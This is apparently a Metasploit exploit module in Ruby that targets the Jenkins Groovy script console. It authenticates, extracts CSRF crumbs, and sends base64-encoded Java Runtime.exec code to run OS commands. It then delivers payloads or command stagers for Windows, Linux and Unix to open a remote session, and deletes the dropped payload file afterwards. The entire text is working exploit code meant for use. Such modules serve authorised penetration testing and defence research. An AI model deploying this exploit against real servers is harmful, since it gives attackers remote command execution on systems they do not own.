## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager def initialize(info = {}) super( update_info( info, 'Name' => 'Jenkins-CI Script-Console Java Execution', 'Description' => %q{ This module uses the Jenkins-CI Groovy script console to execute OS commands using Java. }, 'Author' => [ 'Spencer McIntyre', 'jamcut', 'thesubtlety' ], 'License' => MSF_LICENSE, 'DefaultOptions' => { 'WfsDelay' => '10' }, 'References' => [ ['URL', 'https://wiki.jenkins-ci.org/display/JENKINS/Jenkins+Script+Console'] ], 'Platform' => %w[win linux unix], 'Targets' => [ [ 'Windows', { 'Arch' => [ ARCH_X64, ARCH_X86 ], 'Platform' => 'win', 'CmdStagerFlavor' => [ 'certutil', 'vbs' ] } ], ['Linux', { 'Arch' => [ ARCH_X64, ARCH_X86 ], 'Platform' => 'linux' }], ['Unix CMD', { 'Arch' => ARCH_CMD, 'Platform' => 'unix', 'Payload' => { 'BadChars' => "\x22" } }] ], 'DisclosureDate' => '2013-01-18', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [ CRASH_SAFE, ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, ], 'Reliability' => [ REPEATABLE_SESSION, ] } ) ) register_options( [ OptString.new('USERNAME', [ false, 'The username to authenticate as', '' ]), OptString.new('PASSWORD', [ false, 'The password for the specified username', '' ]), OptString.new('API_TOKEN', [ false, 'The API token for the specified username', '' ]), OptString.new('TARGETURI', [ true, 'The path to the Jenkins-CI application', '/jenkins/' ]) ] ) self.needs_cleanup = true end def post_auth? true end def check uri = target_uri uri.path = normalize_uri(uri.path) uri.path << '/' if uri.path[-1, 1] != '/' res = send_request_cgi({ 'uri' => "#{uri.path}login" }) if res && res.headers.include?('X-Jenkins') return Exploit::CheckCode::Detected else return Exploit::CheckCode::Safe end end def on_new_session(_client) if !@to_delete.nil? print_warning("Deleting #{@to_delete} payload file") execute_command("rm #{@to_delete}") end end def http_send_command(cmd, _opts = {}) request_parameters = { 'method' => 'POST', 'uri' => normalize_uri(@uri.path, 'script'), 'authorization' => basic_auth(datastore['USERNAME'], datastore['API_TOKEN']), 'vars_post' => { 'script' => java_craft_runtime_exec(cmd), 'Submit' => 'Run' } } request_parameters['vars_post'][@crumb[:name]] = @crumb[:value] unless @crumb.nil? res = send_request_cgi(request_parameters) if !(res && (res.code == 200)) fail_with(Failure::Unknown, 'Failed to execute the command.') end end def java_craft_runtime_exec(cmd) vars = Rex::RandomIdentifier::Generator.new( Rex::RandomIdentifier::Generator::JavaOpts ) jcode = <<~JCODE String #{vars[:encoded]} = "#{Rex::Text.encode_base64(cmd)}"; byte[] #{vars[:decoded]}; try { #{vars[:decoded]} = Base64.getDecoder().decode(#{vars[:encoded]}); } catch(groovy.lang.MissingPropertyException e) { Object #{vars[:decoder]} = Eval.me("new sun.misc.BASE64Decoder()"); #{vars[:decoded]} = #{vars[:decoder]}.decodeBuffer(#{vars[:encoded]}); } JCODE jcode << "String[] #{vars[:cmd_array]} = new String[3];\n" if target['Platform'] == 'win' jcode << "#{vars[:cmd_array]}[0] = \"cmd.exe\";\n" jcode << "#{vars[:cmd_array]}[1] = \"/c\";\n" else jcode << "#{vars[:cmd_array]}[0] = \"/bin/sh\";\n" jcode << "#{vars[:cmd_array]}[1] = \"-c\";\n" end jcode << "#{vars[:cmd_array]}[2] = new String(#{vars[:decoded]}, \"UTF-8\");\n" jcode << "Runtime.getRuntime().exec(#{vars[:cmd_array]});\n" jcode end def execute_command(cmd, _opts = {}) vprint_status("Attempting to execute: #{cmd}") http_send_command(cmd.to_s) end def exploit @uri = target_uri @uri.path = normalize_uri(@uri.path) @uri.path << '/' if @uri.path[-1, 1] != '/' print_status('Checking access to the script console') res = send_request_cgi({ 'uri' => "#{@uri.path}script" }) fail_with(Failure::Unknown, 'No Response received') if !res @crumb = nil if res.code != 200 if datastore['API_TOKEN'].present? print_status('Authenticating with token...') res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(@uri.path, 'crumbIssuer/api/json'), 'authorization' => basic_auth(datastore['USERNAME'], datastore['API_TOKEN']) }) if (res && (res.code == 401)) fail_with(Failure::NoAccess, 'Login failed') end else print_status('Logging in...') # get that first cookie that's needed by newer versions res = send_request_cgi({ 'uri' => normalize_uri(@uri.path, 'login'), 'keep_cookies' => true }) fail_with(Failure::UnexpectedReply, 'Unexpected reply from server') unless res&.code == 200 if res.body =~ /action="(j_([a-z0-9_]+))"/ uri = Regexp.last_match(1) else fail_with(Failure::UnexpectedReply, 'Failed to identify the login resource.') end res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(@uri.path, uri), 'keep_cookies' => true, 'vars_post' => { 'j_username' => datastore['USERNAME'], 'j_password' => datastore['PASSWORD'], 'Submit' => 'log in' } }) if !(res && (res.code == 302)) || res.headers['Location'] =~ (/loginError/) fail_with(Failure::NoAccess, 'Login failed') end res = send_request_cgi({ 'uri' => "#{@uri.path}script" }) fail_with(Failure::UnexpectedReply, 'Unexpected reply from server') unless res&.code == 200 end else print_status('No authentication required, skipping login...') end if res.body =~ /"\.crumb", "([a-z0-9]*)"/ print_status("Using CSRF token: '#{Regexp.last_match(1)}' (.crumb style)") @crumb = { name: '.crumb', value: Regexp.last_match(1) } elsif res.body =~ /crumb\.init\("Jenkins-Crumb", "([a-z0-9]*)"\)/ || res.body =~ /"crumb":"([a-z0-9]*)"/ print_status("Using CSRF token: '#{Regexp.last_match(1)}' (Jenkins-Crumb style v1)") @crumb = { name: 'Jenkins-Crumb', value: Regexp.last_match(1) } elsif res.body =~ /data-crumb-value="([a-z0-9]*)"/ print_status("Using CSRF token: '#{Regexp.last_match(1)}' (Jenkins-Crumb style v2)") @crumb = { name: 'Jenkins-Crumb', value: Regexp.last_match(1) } end case target['Platform'] when 'win' print_status("#{rhost}:#{rport} - Sending command stager...") execute_cmdstager({ linemax: 2049 }) when 'unix' print_status("#{rhost}:#{rport} - Sending payload...") http_send_command(payload.encoded.to_s) when 'linux' print_status("#{rhost}:#{rport} - Sending Linux stager...") execute_cmdstager({ linemax: 2049 }) end handler end end